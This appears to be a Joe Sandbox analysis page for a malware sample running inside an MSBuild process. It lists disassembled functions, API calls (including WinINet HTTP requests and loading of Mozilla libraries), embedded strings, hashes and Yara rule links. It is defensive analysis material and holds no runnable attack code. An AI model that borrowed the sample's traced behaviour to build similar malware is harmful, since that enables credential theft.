Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 4109952398-0
Opcode ID: e9a4ec146eb9e2c466341b8cc226d98408b61403d0bb55f03ecd5558a0089f49
Instruction ID: 7b7bb4e5801e9de9fdd6adee9fdc4bc54d4e0b6c6ea2ffc621484fda9acbbecd
Opcode Fuzzy Hash: e9a4ec146eb9e2c466341b8cc226d98408b61403d0bb55f03ecd5558a0089f49
Instruction Fuzzy Hash: 26713FB1D4022D9FDF20DF61DC45BCA77BAAF88314F0405E6E508A3250EA369FA58F55

Function 00428C34 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00428C4D

Part of subcall function 00424192: Sleep.KERNEL32(00000000,?), ref: 004241BA

__calloc_crt.LIBCMT ref: 00428C71
_free.LIBCMT ref: 00428C7F
__calloc_crt.LIBCMT ref: 00428C8D
_free.LIBCMT ref: 00428C9D
_free.LIBCMT ref: 00428CA3
__copytlocinfo_nolock.LIBCMT ref: 00428CB2
__setlocale_nolock.LIBCMT ref: 00428CBF
_free.LIBCMT ref: 00428CD8
__setmbcp_nolock.LIBCMT ref: 00428CEA
_free.LIBCMT ref: 00428CF8
_free.LIBCMT ref: 00428D0C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: 43a3aa265a383408f17471e0f34179b95454a98dc0d8d6604ebfa51982022fc1
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: FB21043130A6309ADB21BF27F802A5EB7E4EF91754F60842FF48456251EF399850CA6C

Function 004015E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015C6
Part of subcall function 004015BC: HeapAlloc.KERNEL32(00000000), ref: 004015CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00401606
GetLastError.KERNEL32 ref: 0040160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00401614
GetWindowContextHelpId.USER32(00000000), ref: 0040161B
GetWindowLongW.USER32(00000000,00000000), ref: 00401623
RegisterClassW.USER32(00000000), ref: 0040162A
IsWindowVisible.USER32(00000000), ref: 00401631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401644
IsDialogMessageW.USER32(00000000,00000000), ref: 0040164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401656
HeapFree.KERNEL32(00000000), ref: 0040165D

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction ID: 597bc7deab9f95c5419af2560a3a18d661806b2e942c9da5f2f727d66e905f75
Opcode Fuzzy Hash: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction Fuzzy Hash: 17014672402824FBC7156BA1BD6DDDF3E7CEE4A3527141265F60A910608B794A01CBFE

Function 6CBE8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CBAEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBAEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CBEB392,?,?,00000001), ref: 6CBE91F4

Part of subcall function 6CBDCBE8: GetCurrentProcess.KERNEL32(?,6CBA31A7), ref: 6CBDCBF1
Part of subcall function 6CBDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBA31A7), ref: 6CBDCBFA

Strings

name, xrefs: 6CBE8F16
marker-table, xrefs: 6CBE906C
timeline-ipc, xrefs: 6CBE9096
timeline-memory, xrefs: 6CBE9088
marker-chart, xrefs: 6CBE905E
data, xrefs: 6CBE90E8
timeline-overview, xrefs: 6CBE907A
stack-chart, xrefs: 6CBE90B2
timeline-fileio, xrefs: 6CBE90A4

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 69abc5330eb7a01e21fda2046841a8b8b1cd5f26bc0612eff34cc81820d8531a
Instruction ID: 74d989aee15c2043d92a10ccb02c3db0b863aa99e0b816779702c5814f757ab5
Opcode Fuzzy Hash: 69abc5330eb7a01e21fda2046841a8b8b1cd5f26bc0612eff34cc81820d8531a
Instruction Fuzzy Hash: 3CB1A1B0E042899BDF04CF99C4927EEBBB5EF88798F504519D401ABF80EB359949CBD1

Function 6CBCC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBCC5A3
WideCharToMultiByte.KERNEL32 ref: 6CBCC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CBCC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CBCCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBCCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBCCAA5

Strings

0, xrefs: 6CBCD30A
(null), xrefs: 6CBCC596

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 3cbe18364bb4d9c209f48d006d5be7bf258344b96cdfc068153c87a174c003d2
Instruction ID: e10f0b4cd91d3d82833ac0303cc68450af2e46bdd8eae5f93ad593d9378199c2
Opcode Fuzzy Hash: 3cbe18364bb4d9c209f48d006d5be7bf258344b96cdfc068153c87a174c003d2
Instruction Fuzzy Hash: 33A1AA317083829FDB10DF29C58875ABBF1EF99748F04882DE89997641D735E805CB93

Function 0041BAA4 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,00CD24A0), ref: 0041BAD8
GetFileSize.KERNEL32(?,00000000), ref: 0041BB51
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041BB6D
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041BB81
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041BB8A
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BB9A
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041BBB8
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BBC8

Strings

, xrefs: 0041BB24
1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR, xrefs: 0041BB3C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID: $1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR
API String ID: 2979504256-184713567
Opcode ID: b93520a0e31e70c5fcafbd99113cd43e56b40bfe3ff6e632537e59c659fb1c6e
Instruction ID: cb892b0c559bbcf0e4207802013ae1cf0d61ca8ae93d0e0fc4d1a3101aeab4e7
Opcode Fuzzy Hash: b93520a0e31e70c5fcafbd99113cd43e56b40bfe3ff6e632537e59c659fb1c6e
Instruction Fuzzy Hash: E951F471D00218AFDB18DF99DC85AEEBBB9EF04304F10442AE511E6660D738AD85CF94

Function 6CBA3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBA3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBA34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBA34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CBA350E
__Init_thread_footer.LIBCMT ref: 6CBA3522
__aulldiv.LIBCMT ref: 6CBA3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBA357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBA3592

Part of subcall function 6CBDAB89: EnterCriticalSection.KERNEL32(6CC2E370,?,?,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284), ref: 6CBDAB94
Part of subcall function 6CBDAB89: LeaveCriticalSection.KERNEL32(6CC2E370,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBDABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CBA3508
kernel32.dll, xrefs: 6CBA34EA

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 9a736cf9776e2a7e5a2f831fa3bc48826453a3329b902e9254402d60acaa8e86
Instruction ID: d370d65c6845addc31e13afc6971e3afcbab03036365aef4923b7cfc7e5c2819
Opcode Fuzzy Hash: 9a736cf9776e2a7e5a2f831fa3bc48826453a3329b902e9254402d60acaa8e86
Instruction Fuzzy Hash: 1731BE71B0025A9FDF00DFB9C968EAEB7B5FB45304F10001AE542A3660EA38E906CF61

Function 004168C6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
lstrlenA.KERNEL32(?), ref: 00416925

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 0041693A
lstrlenA.KERNEL32(?), ref: 00416949
lstrlenA.KERNEL32(00000000), ref: 00416962

Strings

ERROR, xrefs: 0041696D
ERROR, xrefs: 00416977
ERROR, xrefs: 0041697E
ERROR, xrefs: 00416914
ERROR, xrefs: 00416985

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: 4f60ac4c37fc32755748fa68b7729d6991887abd1bd3cd8b30ef7de7cbba654f
Instruction ID: f999f3c62c0b23b7ff363c4994354db6f8ba44fc0c3398813b2d55053c878ef3
Opcode Fuzzy Hash: 4f60ac4c37fc32755748fa68b7729d6991887abd1bd3cd8b30ef7de7cbba654f
Instruction Fuzzy Hash: 6021E571910204ABCB10BB75DC469DD77B8AF04308F11512BFC05E3191DB7DD9858F99

Function 0042672D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00426754
_free.LIBCMT ref: 00426762
_free.LIBCMT ref: 0042676D
_free.LIBCMT ref: 00426741

Part of subcall function 0041DA5B: HeapFree.KERNEL32(00000000,00000000,?,0041D2A3,00000000,0043B7AC,0041D2EA,0040EEBE,?,?,0041D3D4,0043B7AC,?,?,0042ED58,0043B7AC), ref: 0041DA71
Part of subcall function 0041DA5B: GetLastError.KERNEL32(?,?,?,0041D3D4,0043B7AC,?,?,0042ED58,0043B7AC,?,?,?), ref: 0041DA83

___free_lc_time.LIBCMT ref: 0042678B
_free.LIBCMT ref: 00426796
_free.LIBCMT ref: 004267BB
_free.LIBCMT ref: 004267D2
_free.LIBCMT ref: 004267E1

Strings

xLC, xrefs: 0042677B

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID: xLC
API String ID: 3704779436-381350105
Opcode ID: 75c8617aa577018b802f999097e256e29a76f75524ffb918136c170e5bfc19f7
Instruction ID: 3a25437d7ba4b5db782e2d0491041096a79b2f5d500c154d40e95b3c30946f3d
Opcode Fuzzy Hash: 75c8617aa577018b802f999097e256e29a76f75524ffb918136c170e5bfc19f7
Instruction Fuzzy Hash: 48118FB2A04712DBDB20EF65F885B9A73E5AF81359F55493FE10897241CB3CAC84CB18

Function 6CBA4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CBE4843,?), ref: 6CBA45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CBE4843,?), ref: 6CBA468A
free.MOZGLUE(?,?,?,?,?,?,6CBE4843,?), ref: 6CBA46C9
free.MOZGLUE(?), ref: 6CBA46EF
free.MOZGLUE(?), ref: 6CBA4712
free.MOZGLUE(?), ref: 6CBA4735
free.MOZGLUE(?), ref: 6CBA4758
free.MOZGLUE(?), ref: 6CBA477B
free.MOZGLUE(?), ref: 6CBA479E

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: a56200eea7d34f51902922758326cabab51e1c76727b59c450b8da04838d1dce
Instruction ID: 15d584160bb0e7c821fc07af0ef3dbdaed74a400b78d5fcd59f0d763f5bdb04b
Opcode Fuzzy Hash: a56200eea7d34f51902922758326cabab51e1c76727b59c450b8da04838d1dce
Instruction Fuzzy Hash: 6CB12671A081D08FDB18CEBCD89076D77A1EF42328F180668E496DBB96DF31D8458F52

Function 6CC0AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CC0AC52
CreateFileMappingW.KERNEL32 ref: 6CC0AC7D
GetSystemInfo.KERNEL32 ref: 6CC0AC98
MapViewOfFile.KERNEL32 ref: 6CC0ACB0
GetSystemInfo.KERNEL32 ref: 6CC0ACCD
MapViewOfFile.KERNEL32 ref: 6CC0AD05
UnmapViewOfFile.KERNEL32 ref: 6CC0AD1C
CloseHandle.KERNEL32 ref: 6CC0AD28
UnmapViewOfFile.KERNEL32 ref: 6CC0AD37
CloseHandle.KERNEL32 ref: 6CC0AD43
CloseHandle.KERNEL32 ref: 6CC0AD67

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 780bda0ba371a8ac9577f294be69431bb3c213cc1ceea7635ee4d5bdc46bc70f
Instruction ID: aef3ed688bb9d9d0fdde418ea6600c1348af97a31b6dff1b60bfc511ef97d741
Opcode Fuzzy Hash: 780bda0ba371a8ac9577f294be69431bb3c213cc1ceea7635ee4d5bdc46bc70f
Instruction Fuzzy Hash: 6B3162B1A047058FDB00EF7DD64926EBBF0FF85305F05492DE98A97211EB749448CB82

Function 6CBB9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBB9675
__Init_thread_footer.LIBCMT ref: 6CBB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBB9707
__Init_thread_footer.LIBCMT ref: 6CBB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBB9773

Part of subcall function 6CBDAB89: EnterCriticalSection.KERNEL32(6CC2E370,?,?,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284), ref: 6CBDAB94
Part of subcall function 6CBDAB89: LeaveCriticalSection.KERNEL32(6CC2E370,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBDABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBB97B7
FreeLibrary.KERNEL32 ref: 6CBB97D0
FreeLibrary.KERNEL32 ref: 6CBB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBB9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBB9670
MapViewOfFileNuma2, xrefs: 6CBB97B1
ntdll.dll, xrefs: 6CBB96E3
NtMapViewOfSection, xrefs: 6CBB9701

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
